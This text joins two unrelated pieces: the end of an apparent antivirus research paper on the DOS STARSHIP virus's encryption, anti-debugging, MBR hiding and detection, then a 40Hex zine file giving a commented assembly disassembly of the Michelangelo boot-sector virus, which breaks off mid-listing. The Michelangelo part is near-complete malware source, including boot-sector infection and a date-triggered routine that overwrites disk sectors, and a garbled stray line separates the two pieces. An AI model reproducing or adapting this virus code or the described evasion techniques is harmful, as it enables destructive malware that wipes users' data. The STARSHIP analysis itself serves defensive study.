the XOR mask is changed, and encryption is performed with the
new mask. Described procedure makes the encrypted section
volatile and unreadable. This behavior is not used to hide any
strings in virus body (there are no strings at all, except
virus name) - maybe it is implemented only to achieve
permanent variance.
Virus uses trace capabilities of processor to determine
the original BIOS interrupt 13h entry point. Virus issues
int 13h with trace flag set and records the CS:IP when CS
becomes greater or equal to C800h (corresponds to the ROM
area). However this method seems to be non-universal. I have
investigated the process of disk infection and found that
rewriting of MBR sometimes triggered the resident antivirus
utilities (program TSAFE: Turbo-Anti Virus Ver.6.80A from
CARMEL Software Engineering, Israel).
While disassembling the virus I have found special code
inserts used to fool disassemblers. In most cases these
inserts uses non-working calls and jumps pointing on the
garbage in the virus body. These inserts are a real problem
for disassemblers and I have not found one that managed to
correctly separate code and data (or code and garbage). The
intelligent analysis of code is needed, which is not performed
by all available disassemblers (including smart SOURCER
ver. 3.07, by V Communications Inc.).
I have carefully examined the reconstructed source and
established that STARSHIP virus appears to have no destructive
code.
2. FILE INFECTION
Strategy of file infection is the following. Files are
infected while creation of EXE/COM file on A: or B: disks.
Virus records file name in internal buffer (at CS:000D), and
starts infection routine when request to close the file was
issued. This technique is similar to the method used by Dark
Avenger virus [3,5,7].
The idea to infect only executable file that are created
on floppy disks explains why STARSHIP does not intercept int
24h. This interrupt is usually catched by viruses to prevent
message - "Write protect error". But when file is created (!)
on the floppy disk it automatically indicates that the user
has removed (or will remove) the write protect tab.
Change of infected file size is true random (for the same
file you can get many variants of infection with different
size growth). Change of size is typically 2616...2648 bytes.
Virus infects COMMAND.COM file when it is created on
floppy disk. No special strategy is used to infect command
interpreter - it is infected as a simple .COM file.
When infecting executable (only EXE and COM) files, virus
preserves attribute. If the file is readonly - this attribute
remains unchanged after infection. STARSHIP examines the
executable file type by its contents, not by extension (tests
for 5A4Dh at file beginning, but it does not test 4D5Ah).
Virus does not infect short files - see Table 2. Virus does
not infect the files that are already infected. Buffer at
virus end is used to read code beginning and determine the
presence of virus (it seems to me that virus may frequently
regard uninfected files as infected, because it performs very
primitive analysis).
Virus infection routine uses the following interrupts:
int F9h (it points on the original int 21h, as set by DOS) and
int FCh (points on original int 13h, as set by BIOS). These
interrupts are used instead of int 21h and 13h. This technique
is probably used to prevent triggering of certain antivirus
utilities. These utilities often controls all invokations of
21h and 13h interrupts. The infection routine appends virus to
the end of executable file and adjusts the program entry
point.
Executable files with COM extension are modified by virus
at first 3 bytes, which are replaced with JMP instruction,
pointing on the decryptor. Original 3 bytes from file start
are stored at the very end of the infected file (like the body
of virus these bytes are encrypted with XOR function).
After modification of the EXE file header new CS:IP
points on the virus decryptor. SS, SP and MINALLOC fields are
changed. Original CS, IP, SS and SP are stored at the end of
the virus body at offset A4Fh (you cannot fetch these bytes
directly - they are encrypted).
The header of the infected EXE file has some special
features. Instruction pointer always follows the relation:
4<IP<13h. Spacing between stack segment and code segment is
constant: SS-CS=100h and stack pointer is always set to
SP=800h. Moreover, STARSHIP does not infect EXE files when
MAXALLOC field of EXE header is less than 0FFFFh. Virus does
not infect files with nonzero overlay number.
Virus code is added to the end of file in the encrypted
form. This encrypted code goes after special decrypting
program (decryptor). The purpose of decryptor is to decode the
virus body.
Decryptor of virus body seems to be specially designed
not to have a characteristic bytes sequence (descriptor)
longer than 2 bytes (for example: XOR BH,BH and MOV BL,6 is
used instead of MOV BX,0006, because first commands occupies
2-bytes, but the last takes 3 bytes). In reality this program
is mixed with NOPs and other 1-byte codes, not affecting the
execution of decryptor. The sequence of operators in main code
is fixed, but spacing between these operators is variable.
Described technique really eliminates the possibility to find
virus using search based on certain descriptor, because any 2-
byte sequences are found on the disk too frequently. Search
based on the wildcard strings must take into account that
spacing between operators in virus code is variable (from 0 to
16 bytes of NOPs and other silly stuff).
Moreover, the decryptor uses synonyms for code: for
example the XCHG AX,SI command has three (!) different machine
code representations (0c687h, 0f087h, 96h means the same
processor directive - XCHG AX,SI). As well MOV AX,SP and
MOV BX,AX has two representations. That fact also complicates
search based on the wildcard strings, producing many different
wildcards for the same virus.
First the decryptor must determine its position in
memory, because all references in the virus must be relative
to the known point. STARSHIP uses unusual method,
simultaneously suppressing the attempts to trace execution
flow of decryptor with the use of debugger. Virus issues int
03h (it usually points on IRET) and then reads the return
address below (!) the stack pointer SP (LODSW SS:[SI]). If you
use the debugger, it will immediately destroy all words below
the SP, resulting in the malfunction of the rest of decryptor.
Sometimes instead of int 03h virus uses interrupts 01h/11h/12h
as the dummy calls.
Decryption of virus code attached to infected executable
file is done from top addresses to bottom. This sequence makes
tricky setting of breakpoint after the decryption loop because
the last decrypted byte is just below the loop. Hence, if you
place here the breakpoint it will be decrypted, its code
(0CCh) will become garbage and will be executed instead of
invokation of breakpoint routine.
All general processor registers are set to zero after
decryption process prior to start of infected program. Segment
registers are preserved.
When I used MS-Windows or any other graphics user
interfaces - infection of copied files does not take place.
That is possibly because virus uses videomemory as temporary
buffer while infecting files and checks the videomode before
infection.
3. DISK INFECTION
When decryptor finished its work it transfers control to
the disk infection routine. First this code tests DOS version
number (virus works only with versions later than 2.0) and the
presence of video-RAM at BB00:0 (virus physically tests memory
existence at this address via MOV/CMP sequence). Second - it
tests if virus is already resident (checks if special virus
memory dispatcher is present at address 0000:04B0). And third
- STARSHIP determines the original int 13h entry point in BIOS
(it traces the call of int 13h, function 8; this call is used
to determine the physical disk size). The fourth - virus
infects the masterboot via direct call of BIOS int 13h.
STARSHIP modifies MBR in only 3 bytes: head and
sector/cylinder of DOS boot. Virus places its code in 6
consecutive sectors at the disk end (it uses physical disk #1,
last head, last track and last 6 sectors in the last track).
After modification of MBR, boot field of active partition
points on pseudoDOS boot, the first of used 6 sectors. Dump of
pseudoDOS boot is presented in Figure 2. First 5 bytes in
pseudoDOS boot are equal to the original DOS boot beginning
(0EBh, 034h, 090h, 'MS'). The pseudoDOS boot contains the
loader of virus code that is located in next 5 sectors. (Note:
the area at offset 115h..1F9h in pseudoDOS boot is filled with
garbage).
Counter of reboots (byte) is located at offset 1FCh in
pseudoDOS boot. This counter is initialized with random value
in range 0...20h. Sometimes it is initialized with 0FFh - in
this case the counter is not incremented during reboot
(probably such computer cannot be ill). The probability of
this case is approximately 30%.
At offset 1FDh in pseudoDOS boot the XOR mask (byte) can
be found. This mask is used for decryption of 5 sectors
following pseudoDOS boot (these sectors contains virus body).
Moreover, I have found in pseudoDOS boot the code that
loads and executes unknown procedure from sectors 2...6 on
head 0 and track 0. Code from these sectors is executed only
if its checksum is valid. This space between MBR and first
partition (it normally starts on head 1, track 0) is usually
unused and filled with zeros. This area is frequently used by
some computer viruses [3] (DiskKiller for example). But I have
not detected any valuable code in these sectors - this unknown
procedure was probably written only to fool the researchers or
for futer virus extension.
Upon infection virus stores no original MBR copy. It only
saves changes - 3 bytes of original DOS boot head and
sector/cylinder (stored under XOR mask inside 5 sectors of
virus code). If you want to get these parameters you must read
XOR mask from pseudoDOS boot, decrypt the virus body and fetch
necessary 3 bytes from the appropriate positions.
There is another method to restore original MBR. If you
perform the request to read MBR (AX=201h, CX=1, DX=80h,
ES:BX=buffer) via int 13h: virus will read real MBR, restore
its original contents and you will obtain what you want. You
can save this MBR copy on disk, reboot from uninfected DOS
diskette and write it back on harddrive instead of infected
MBR. This method works fine and we used it successfully prior
to creation of removing utility. The only disadvantage of the
described method is that it takes too much time.
4. REBOOT OF INFECTED COMPUTER
When computer reboots the pseudoDOS boot is executed. It
loads virus code in videomemory (at address BB00:0000). PC
without videomemory at segment BB00 are not infected (I have
no computer with monochrome display adapter so the test was
not really performed). Then it decrypts the code in
videomemory, intercepts int 13h and creates special memory
dispatcher at address 0000:04B0. The dispatcher structure is
shown in Fig.3a.
Now all accesses to disk are controlled with the virus
patch on interrupt 13h. This code filters all accesses to MBR
and last 6 sectors on disk. The MBR now looks unchanged and
all writes to last 6 sectors are impossible (error flag is not
returned). Described technique preserves virus from
modification, since its code is installed in DOS file area.
After installation in videomemory virus examines if DOS
interrupts (20h, 21h, 27h) are set. This technique seems to be
universal : I have tested DOS versions 2.0, 2.11, 3.0, 3.30,
4.0 and virus successfully intercepts DOS interrupts. Virus
hanged during reboot only with MS-DOS version 5.00. Section of
virus implementing the task of DOS interception analyses the
validity of CS in the vectors table for DOS interrupts (20h,
21h, 27h) to determine if it is safe to intercept DOS vectors.
DOS interrupt 21h is intercepted by STARSHIP before any
programs can do the same from CONFIG.SYS or AUTOEXEC.BAT. So
any resident software vaccine programs ANTI4US2, FLOSERUM,
TSAFE or others, including programs with driver anatomy would
be unable to detect the operation of virus.
After the interception of DOS interrupts virus waits for
the termination of first program. It test the calls of
interrupts 20h, 27h and of the DOS functions 0, 31h and 4Ch.
When Exit_to_DOS request was issued virus body is moved from
videomemory to the core memory. If terminated program remains
resident virus expands its memory block (glues to resident
tail). If program simply returns to DOS (AH=0, AH=4C) virus
substitutes the exit request with the TSR request (AH=31h) and
creates its own memory block. At this moment memory dispatcher
is modified to point on the new interrupt routines in the body
of virus. From this moment virus stops controlling interrupts
20h and 27h. It uses now only 13h and 21h interrupts.
Dispatcher layout after the shift of virus to the core RAM is
presented in Fig.3b.
If the first loaded program uses graphics - the virus is
erased from videomemory, but it can survive because it has
special restoring procedure (int B0h, at address 0000:02C0, in
the vectors table). That is exotic - the whole interrupt
service routine is located in the interrupt table (it occupies
approximately 3 paragraphs and covers interrupts B0...BB).
This routine checks presence of virus in videomemory (in
reality only one word of videomemory is checked) and if virus
image was destroyed all 5 sectors with virus program are read
to videomemory and decoded (remember that disk image of virus
is XOR-encrypted). Computer hangs only if graphics is used
simultaneously with accesses to DOS, but this situation seems
to be exceptional, because programs usually included in
AUTOEXEC.BAT rarely use graphics.
The performing of all these tests on the infected machine
was very useful and exciting when the very first loaded
program was DEBUG (you must remove or rename AUTOEXEC.BAT; you
can also place DEBUG as the first line of your current
AUTOEXEC.BAT). All virus structures were easily located. The
most interesting were attempts to erase virus image from
videomemory - virus immediately restores its code. In DEBUG
you can investigate the process of virus installation in the
core RAM. You only need to trace the request of DOS function
4Ch (terminate) - and you will see how virus code is moved and
how its memory dispatcher is modified.
After the installation of virus in the core RAM it waits
for the creation of any executable files on the floppy drives
A: and B:. This is usually done with DOS "copy" command when
destination file is located on floppy disk.
4. ACTIVE PHASE
The evil happens when reboots counter reaches 80 (while
initial reboot counter is in range 0..31). Disease appears
after few hours since reboot and this delay depends on the
disk activity. Virus plays music tones and drops colored
points (ASCII=250) without affecting of screen background.
Each point and each tone corresponds to one disk access.
Frequency of tones seems to be proportional to the seccyl
parameter (CX) of int 13h. This musical and visual effect does
not take place in any graphics modes. Colored points appearing
at random screen positions does not affect pseudographics.
Sometimes dots are substituted by spaces. This video effect
corrupts the screen in text mode resulting in the
impossibility of using intensive disk accesses.
When disks are inactive all operates correctly. You can
also use virtual disks or cache without any problems.
Reboot temporary suspends virus activity.
But remember that infected computer will reach active
phase only with approximate probability 2/3. In certain
infected computers triggering of virus is blocked! Behavior of
infected computer depends on the initial value of reboots
counter.
5. ERRORS AND BUGS
When STARSHIP infects harddisk it rewrites 6 last sectors
on the disk. The contents of these sectors are unrecoverably
lost!
Moreover, virus controls all disk accesses (via int 13h)
to prevent the rewrite of its code (all writes to virus area
are simply ignored; error condition is not returned). But if
you load DOS from floppy disk and then modify this restricted
zone (for example if you write file and it occasionally will
occupy the last cluster on the harddisk) - computer will not
reboot later and hang. You will need to recreate MBR to
overcome this problem.
I have determined that the problem may appear when the
first used program is MARK (by TurboPower Software). This
program is used in combination with RELEASE to remove all
resident utilities that were loaded after MARK, to save and
restore the interrupt vectors table and state of EMS memory.
When MARK remains resident virus glues to its memory block and
everything is correct. But when you start RELEASE - computer
hangs. This happens because RELEASE restores the interrupts
table in its state before (!) shift of virus to the core RAM,
when virus was in videomemory. Consequently, vectors 13h and
21h after RELEASE points on videomemory where is no
appropriate handlers at this moment - computer immediately
hangs.
Probably, if you replace your CGA, EGA or VGA adaptor
with MDA, your computer will hang after power-up because there
will be no space to store virus during reboot. (Virus checks
videomemory existence only once - prior to disk infection.)
The use of special restoration procedure at address 0:2C0
in the interrupt vectors table must cause the malfunction of
computers that uses vectors B0...BB during reboot. (These
vectors are used by virus only during reboot, when special
restoration procedure is located at address 0:2C0. When virus
goes resident in conventional memory all these vectors are
cleared with zeroes!)
I have detected that some XT computers with RAMDRIVE
driver in the CONFIG.SYS did not execute some programs
(Harvard Graphics, MS-FORTRAN, QuickBASIC).
Some users have reported the problems with the reboot of
infected PS/2 model 30.
These examples establishes the rule - remove virus when
you fixed its presence. There are no harmless viruses.
Remember: any infected program may produce malfunction of your
computer!
6. STARSHIP DETECTION
STARSHIP virus has one special feature - it does not
modify any executable file on the harddisk. So if you use
passive virus detectors (based on the generation of CRC checks
for the files) to test your harddisk - you will never get the
warning about virus activity. Each file on the harddisk will
remain unchanged. Additionally, if this utility examines the
contents of MBR and DOS boot sector, it will not inform you
about the infection if it uses simple interrupt 13h. STARSHIP
will substitute infected MBR with the original in each access
to MBR via int 13h.
How to detect the presence of STARSHIP? It is a real
problem, because the search of infected files based on the
virus descriptor is impossible. No standard software can be
used to found STARSHIP. Only specially designed scanning
programs that analyses the contents of the EXE header or the
code at the file entry point are useful.
Here follows some useful hints that may be used to
determine the presence of STARSHIP virus.
If you have antivirus program AIDSTEST by Lozinsky
(version later than 115, April 1991) it can scan and desinfect
files (AIDSTEST calls virus "STARSHIP-2616"). Sometimes it
refuses to desinfect file and reports something like "Cannot
remove virus. Delete file(Y/N)?".
If you reboot from original DOS diskette and start FDISK
- it shows (Display Partition Information) that Start and End
of DOS partition are equal for the infected harddisk.
You can also detect the presence of STARSHIP virus in
memory if you examine (unassemble) RAM contents at address
0:4B0 with the help of DEBUG (compare with Fig.3).
Typically executable files has text messages, tables or
zeros at the end. So you can visually examine the tail of
executable file and if you will see approximately 2.7 kbytes
of garbage - that is suspicious and you may suggest the
presence of virus. Experienced programmers may also inspect
the program entry point with DEBUG and analyse the
disassembled listing.
I also recommend not to copy executable files on the
floppies directly. Use archive utilities and then copy
archives on the floppies. This sequence saves disk space and
also preserves from file infection. But this method has one
disadvantage. If the initial file is already infected you will
not be able to detect the presence of virus because it is
incorporated into the archive in compressed form.
The identification of STARSHIP virus is complex because
it extensively uses XOR coding and uses random masks. In the
infected file 100% of virus is encrypted. On disk - 5/6 and in
memory - approximately 60%. That is very interesting feature -
virus is not available in pure form, being variable on disk,
in file and in memory.
CONCLUSION
To my opinion the investigated virus is a very
interesting program. Virus code is highly optimized on the
machine-code level. That was possibly done to place the code
exactly into 5 sectors on disk. Virus uses various software
techniques, it has antitracing and antidisassembling
organization, it has no descriptor. These measures were
effective to some extent, because I have some problems in
source reconstruction. In many cases the source seems to be
not fully adequate.
The present stage of virus technology is characterized
with the complexity of virus search, identification and
reconstruction. This tendency to create complex and sneakily
viruses seems to be general. For example remember the XOR
coded 1701 virus group, the Yankee Doodle [5,6] group of
viruses (called also the TP group [3]) that desinfects all
debugged infected files [3,5] and smart Century virus [7], SVC
series that filters all accesses to the directories and
presents original file size for each infected file.
The name of virus (STARSHIP_1) reveals the idea of the
author to extend the series. Be attentive, remember - the use
of backups may save you a vast of time.
ACKNOWLEDGEMENTS
I am greatly acknowledged to V.V.Snegirev and
A.G.Yakovlev for useful discussions. I also like to thank my
wife Helen for her understanding and support.
I am aknowledged to Vesselin Bontchev, who read the draft
variant of the paper and made many valuable comments.
I also wish to acknowledge the sponsorship of NPO
"POLITON" (Moscow, USSR).
REFERENCES
[1] Dewdney A.K., In the game called Core War hostile
programs engage in a battle of bits, Scientific
American, v.250, 5 (1984) 15-19.
[2] Cohen F., Computer viruses: theory and experiments,
Proc. 2nd IFIP Int. Conf. on Computer Security, (1984)
143-158.
[3] Bezrukov N.N., Computer virusology. Part 1: Main work
principles, classification and catalog of viruses in DOS
operating system, Edition 3.6, date 18.07.1990. (In soft
form : files of 745 kbytes total size, 250p. in Russian).
[4] McBroom V., Computer viruses: what they are, how to
protect against them, Software Protection, v.VIII, 3
(1989) 1-16.
[5] Documentation to VIRUSCAN software package from McAfee
Assosiates. Version 4.3V66. File-SCANV66.DOC, size-38024.
[6] McAfee J., The virus cure, Datamation, v.35, 4 (1989)
29-40.
[7] Documentation to Turbo Anti-Virus software package from
CARMEL Software Engineering. Version 6.80A. File-
README.DOC, size-65566.
==================================================================
Table 1. Layout and size of virus procedures.
(the box indicates the encrypted memory section)
Size Offset (hex) Description
3% 000 - 04F Variables and buffers (see Fig.1)
5% 050 - 0C1 Interrupt 13h handler
10% 0C2 - 1C7 Interrupt 21h handler
11% 1C8 - 312 Active part & check for DOS ready
2% 313 - 340 Random number generator (RND)
7% 341 - 3F7 Interrupts 20h, 21h, 27h handlers
+--- encrypted --------------------------------------------+
| 25% 3F8 - 692 Infector of EXE/COM file includes: |
| 9% 3F8 - 4DD input logic |
| 10% 4DE - 5E9 create infected code |
| 6% 5EA - 692 output logic |
| 3% 693 - 6E5 Tables |
| 3% 6E6 - 738 Startup code for EXE/COM |
| 12% 739 - 88F Infect disk |
| 2% 891 - 8BF Interrupt 01h handler (trace) |
| 11% 8C0 - 9D7 PseudoDOS boot and int B0h handler |
+----------------------------------------------------------+
4% 9D8 - A4E Remover of code from videomemory
2% A4F - A8F Buffers (CS, IP, SS, SP, etc.)
=======================================================
Table 2. Minimal and maximal sizes of infected
executable files.
+-------------+------------------------+
| File type | Minimal Maximal |
| | size size |
+-------------+------------------------+
| | |
| .COM | 1917 62202 |
| | |
| .EXE | 1917 512 K |
+-------------+------------------------+
==============================================================================
Figure 1. Memory block header (M-block) and memory dump of STARSHIP
virus located in core RAM. Virus uses segment 18FB, and its memory
block is at 18F2:0).
------------------- M-memory block containing virus --------------------------
18F2:0000 4D 08 00 B0 00 0A 00 A3-8E 0B A1 0C 00 A3 90 0B M...............
------- PSP of file, which termination caused the virus installation ---------
18F3:0000 CD 20 A3 19 00 9A F0 FE-1D F0 2F 01 0B 18 3C 01 . ......../...<.
18F3:0010 0B 18 56 05 0B 18 0B 18-01 01 01 00 02 FF FF FF ..V.............
18F3:0020 FF FF FF FF FF FF FF FF-FF FF FF FF EE 18 E0 FF ................
18F3:0030 00 90 14 00 18 00 F3 18-FF FF FF FF 00 00 00 00 ................
18F3:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18F3:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 20 20 20 .!...........
18F3:0060 20 20 20 20 20 20 20 20-00 00 00 00 00 20 20 20 .....
18F3:0070 20 20 20 20 20 20 20 20-00 00 00 00 00 00 00 00 ........
------------------ Here follows the code of virus (CS=18FB) -----------------
18FB:0000 E9 01 10 4E 0A 00 10 00-00 00 00 00 00 42 3A 5C ...N.........B:\
18FB:0010 54 4D 50 5C 44 52 4F 5A-46 49 4C 41 2E 43 4F 4D TMP\DROZFILA.COM
18FB:0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18FB:0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
18FB:0040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 FF ................
18FB:0050 E9 93 06 3E 53 54 41 52-53 48 49 50 5F 31 3C 80 ...>STARSHIP_1<.
18FB:0060 FA 80 75 41 83 F9 01 75-3F 0A F6 75 38 80 FC 02 ..uA...u?..u8...
18FB:0070 75 29 1E 50 E8 13 03 58-9C FF 1E B8 04 1F 72 18 u).P...X......r.
18FB:0080 50 56 72 16 B8 01 00 BE-BE 01 26 89 40 02 B0 01 PVr.......&.@...
18FB:0090 26 88 40 01 5E 58 F8 FB-EB 7C 3C 80 FC 03 74 F6 &.@.^X...|<...t.
18FB:00A0 80 FC 05 74 F1 E9 3E 01-80 FE 08 75 F8 51 02 C8 ...t..>....u.Q..
18FB:00B0 80 F9 CC 59 72 EF 80 FD-FE 72 EA 80 FC 02 74 D6 ...Yr....r....t.
18FB:00C0 75 D9 FF F1 E8 9C 2E 80-3E 4F 00 00 75 18 50 1E u.......>O..u.P.
18FB:00D0 8C C8 2D 09 00 E8 A9 02-A1 3C 00 48 E8 A2 02 2E ..-......<.H....
18FB:00E0 F6 16 4F 00 1F 58 80 FC-3C 75 31 2E 83 3E 0B 00 ..O..X..<u1..>..
18FB:00F0 00 75 6E E8 6E 00 75 69-9D E8 CC 00 72 18 50 51 .un.n.ui....r.PQ
==================================================================
Figure 2. Dump of pseudoDOS boot sector
(thin line denotes random garbage).
0000 EB 34 90 4D 53 BF 05 00-CD 13 73 09 32 E4 CD 13 .4.MS.....s.2...
0010 4F 75 F5 CD 18 C3 B9 01-00 E8 E9 FF 80 3E 00 7E Ou...........>.~
0020 EB 75 10 A0 02 7E BB 00-7E E8 97 00 0A E4 74 03 .u...~..~.....t.
0030 80 EF 02 06 53 CB FA 33-C0 8E D0 BC 00 7C 8B F4 ....S..3.....|..
0040 8E C0 8E D8 FB FC BF 00-06 B9 00 01 F3 A5 EA 53 ...............S
0050 06 00 00 B9 37 00 BE D6-06 BF C0 02 F3 A4 BF B0 ....7...........
0060 04 B9 08 00 F3 A4 1E C5-06 4C 00 AB 8C D8 AB 1F .........L......
0070 FE 06 FC 7D A1 FC 7D B9-CC FE BB 00 7C BA 80 08 ...}..}.....|...
0080 0A C0 74 08 50 B8 01 03-E8 7A FF 58 41 89 0E DB ..t.P....z.XA...
0090 02 88 36 DF 02 06 BB 00-BB 8E C3 88 26 E7 02 CD ..6.........&...
00A0 B0 26 A2 63 01 26 8C 1E-C2 00 07 FA C7 06 4C 00 .&.c.&........L.
00B0 B0 04 8C 1E 4E 00 FB BB-00 7C B8 06 02 BA 80 00 ....N....|......
00C0 E9 53 FF 53 51 B9 0A 0A-32 E4 26 30 07 26 02 27 .S.SQ...2.&0.&.'
00D0 43 E2 F7 59 5B C3 C4 02-00 00 50 06 53 B8 00 BB C..Y[.....P.S...
00E0 8E C0 BB 50 00 26 80 3F-E9 74 1E 52 51 B8 05 02 ...P.&.?.t.RQ...
00F0 B9 00 00 BA 80 00 9C 2E-FF 1E B8 04 B0 00 B9 0A ................
0100 0A 26 30 07 43 E2 FA 59-5A 5B 07 58 CF CD B0 9A .&0.C..YZ[.X....
+--------------------------------+
0110 5F 00 00 BB EA|1E 0E 1F-8E C0 33 FF 50 FC 32 C0| _.........3.P.2.
+--------------------+ |
|0120 B9 50 00 F3 AA E8 F6 F7-8B F7 B9 0A 0A F3 A4 E8| .P..............
|0130 98 F9 58 FA A3 B5 04 A3-C1 04 B8 90 90 A3 B0 04| ..X.............
|0140 A3 BC 04 C7 06 BF 04 C5-00 B8 EB 05 A3 C8 04 B8| ................
|0150 EB F4 A3 D4 04 BF CA 04-BE DB 04 06 1E 07 A5 A5| ................
|0160 A4 FB A3 D9 04 A3 C8 02-C7 06 E0 02 CD 13 C7 06| ................
|0170 E2 02 EB 0D FE 06 D9 02-CD B0 B9 37 00 BF C0 02| ...........7....
|0180 1E 07 8C D8 F3 AA 07 1F-C3 B4 62 E8 7A F7 C3 90| ..........b.z...
|0190 90 90 90 90 90 90 90 90-90 90 A4 4B 4C EA A6 8C| ...........KL...
|01A0 BE 23 54 F4 BC E8 B8 6B-5B F1 B2 EC B2 81 5E F6| .#T....k[.....^.
|01B0 88 D0 8C BC 64 CC 8E CC-86 69 6A C2 84 C8 80 6F| ....d....ij....o
|01C0 FA 2B C0 8E D0 8E C0 8E-D8 B8 00 7C 8B E0 FB 8B| .+.........|....
|01D0 F0 BF 00 7E FC B9 00 01-F3 A5 E9 00 02 B9 10 00| ...~............
|01E0 8B 36 85 7E F6 04 80 75-08 83 EE 10 E2 F6 EB 37| .6.~...u.......7
| +-----------------+
|01F0 90 BF BE 07 57 B9 08 00-F3 A5|74 91 05 AD 55 AA ....W.....t...U.
+-----------------------------------+
==================================================================
Figure 3. Dispatcher code located at absolute address 0:4B0.
a) virus code located in videomemory
0000:04B0 CD B0 INT B0 <== int 13h
0000:04B2 9A 5F 00 00 BB CALL BB00:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC CD B0 INT B0 <== int 21h
0000:04BE 9A D6 03 00 BB CALL BB00:03D6
0000:04C3 EA 60 14 73 02 JMP 0273:1460
0000:04C8 CD B0 INT B0 <== int 20h
0000:04CA 9A DD 03 00 BB CALL BB00:03DD
0000:04CF EA 3F 14 73 02 JMP 0273:143F
0000:04D4 CD B0 INT B0 <== int 27h
0000:04D6 9A 93 03 00 BB CALL BB00:0393
0000:04DB EA 66 63 73 02 JMP 0273:6366
b) after removing of code from videomemory
(segment CS=18FB is where virus resides)
0000:04B0 90 NOP <== int 13h
0000:04B1 90 NOP
0000:04B2 9A 5F 00 6D 19 CALL 18FB:005F
0000:04B7 EA 3D A3 00 F0 JMP F000:A33D
0000:04BC 90 NOP <== int 21h
0000:04BD 90 NOP
0000:04BE 9A C5 00 6D 19 CALL 18FB:00C5
0000:04C3 EA 3D A3 00 F0 JMP 0273:1460
0000:04C8 EB 05 JMP 4CF <== int 20h
0000:04CA EA 3F 14 73 02 JMP 0273:143F
0000:04CF EA 66 63 73 02 JMP 0273:6366
0000:04D4 EB F4 JMP 4CA <== int 27h
===============================================================
All corrections and remarks will be greatly appreciated. Send
information directly via E-mail address (MIG@politon.msk.su) or
in comp.virus group of USENET (I am monitoring it permanently).
F .rs mbyt- tF .rs mbyt- tF . (What is this? -Ed.)
40Hex Number 8 Volume 2 Issue 4 File 006
; This is a disassembly of the much-hyped michelangelo virus.
; As you can see, it is a derivative of the Stoned virus. The
; junk bytes at the end of the file are probably throwbacks to
; the Stoned virus. In any case, it is yet another boot sector
; and partition table infector.
michelangelo segment byte public
assume cs:michelangelo, ds:michelangelo
; Disassembly by Dark Angel of PHALCON/SKISM
org 0
jmp entervirus
highmemjmp db 0F5h, 00h, 80h, 9Fh
maxhead db 2 ; used by damagestuff
firstsector dw 3
oldint13h dd 0C8000256h
int13h:
push ds
push ax
or dl, dl ; default drive?
jnz exitint13h ; exit if not
xor ax, ax
mov ds, ax
test byte ptr ds:[43fh], 1 ; disk 0 on?
jnz exitint13h ; if not spinning, exit
pop ax
pop ds
pushf
call dword ptr cs:[oldint13h]; first call old int 13h
pushf
call infectdisk ; then infect
popf
retf 2
exitint13h: pop ax
pop ds
jmp dword ptr cs:[oldint13h]
infectdisk:
push ax
push bx
push cx
push dx
push ds
push es
push si
push di
push cs
pop ds
push cs
pop es
mov si, 4
readbootblock:
mov ax,201h ; Read boot block to
mov bx,200h ; after virus
mov cx,1
xor dx,dx
pushf
call oldint13h
jnc checkinfect ; continue if no error
xor ax,ax
pushf
call oldint13h ; Reset disk
dec si ; loop back
jnz readbootblock
jmp short quitinfect ; exit if too many failures
checkinfect:
xor si,si
cld
lodsw
cmp ax,[bx] ; check if already infected
jne infectitnow
lodsw
cmp ax,[bx+2] ; check again
je quitinfect
infectitnow:
mov ax,301h ; Write old boot block
mov dh,1 ; to head 1
mov cl,3 ; sector 3
cmp byte ptr [bx+15h],0FDh ; 360k disk?
je is360Kdisk
mov cl,0Eh
is360Kdisk:
mov firstsector,cx
pushf
call oldint13h
jc quitinfect ; exit on error
mov si,200h+offset partitioninfo
mov di,offset partitioninfo
mov cx,21h ; Copy partition table
cld
rep movsw
mov ax,301h ; Write virus to sector 1
xor bx,bx
mov cx,1
xor dx,dx
pushf
call oldint13h
quitinfect:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
retn
entervirus:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov ax,7C00h ; Set stack to just below
mov sp,ax ; virus load point
sti
push ds ; save 0:7C00h on stack for
push ax ; later retf
mov ax,ds:[13h*4]
mov word ptr ds:[7C00h+offset oldint13h],ax
mov ax,ds:[13h*4+2]
mov word ptr ds:[7C00h+offset oldint13h+2],ax
mov ax,ds:[413h] ; memory size in K
dec ax ; 1024 K
dec ax
mov ds:[413h],ax ; move new value in
mov cl,6
shl ax,cl ; ax = paragraphs of memory
mov es,ax ; next line sets seg of jmp
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
mov ax,offset int13h
mov ds:[13h*4],ax
mov ds:[13h*4+2],es
mov cx,offset partitioninfo
mov si,7C00h
xor di,di
cld
rep movsb ; copy to high memory
; and transfer control there
jmp dword ptr cs:[7C00h+offset highmemjmp]
; destination of highmem jmp
xor ax,ax
mov es,ax
int 13h ; reset disk
push cs
pop ds
mov ax,201h
mov bx,7C00h
mov cx,firstsector
cmp cx,7 ; hard disk infection?
jne floppyboot ; if not, do floppies
mov dx,80h ; Read old partition table of
int 13h ; first hard disk to 0:7C00h
jmp short exitvirus
floppyboot:
mov cx,firstsector ; read old boot block
mov dx,100h ; to 0:7C00h
int 13h
jc exitvirus
push cs
pop es
mov ax,201h ; read boot block
mov bx,200h ; of first hard disk
mov cx,1
mov dx,80h
int 13h
jc exitvirus
xor si,si
cld
lodsw
cmp ax,[bx] ; is it infected?
jne infectharddisk ; if not, infect HD
lodsw ; check infection
cmp ax,[bx+2]
jne infectharddisk
exitvirus:
xor cx,cx ; Real time clock get date
mov ah,4 ; dx = mon/day
int 1Ah
cmp dx,306h ; March 6th
je damagestuff
retf ; return control to original
; boot block @ 0:7C00h
damagestuff:
xor dx,dx
mov cx,1
smashanothersector:
mov ax,309h
mov si,firstsector
cmp si,3
je smashit
mov al,0Eh
cmp si,0Eh
je smashit
mov dl,80h ; first hard disk
mov maxhead,4
mov al,11h
smashit:
mov bx,5000h ; random memory area
mov es,bx ; at 5000h:5000h
int 13h ; Write al sectors to drive dl
jnc skiponerror ; skip on error
xor ah,ah ; Reset disk drive dl
int 13h
skiponerror:
inc dh ; next head
cmp dh,maxhead ; 2 if floppy, 4 if HD
jb smashanothersector
xor dh,dh ; go to next head/cylinder
inc ch
jmp short smashanothersector
infectharddisk:
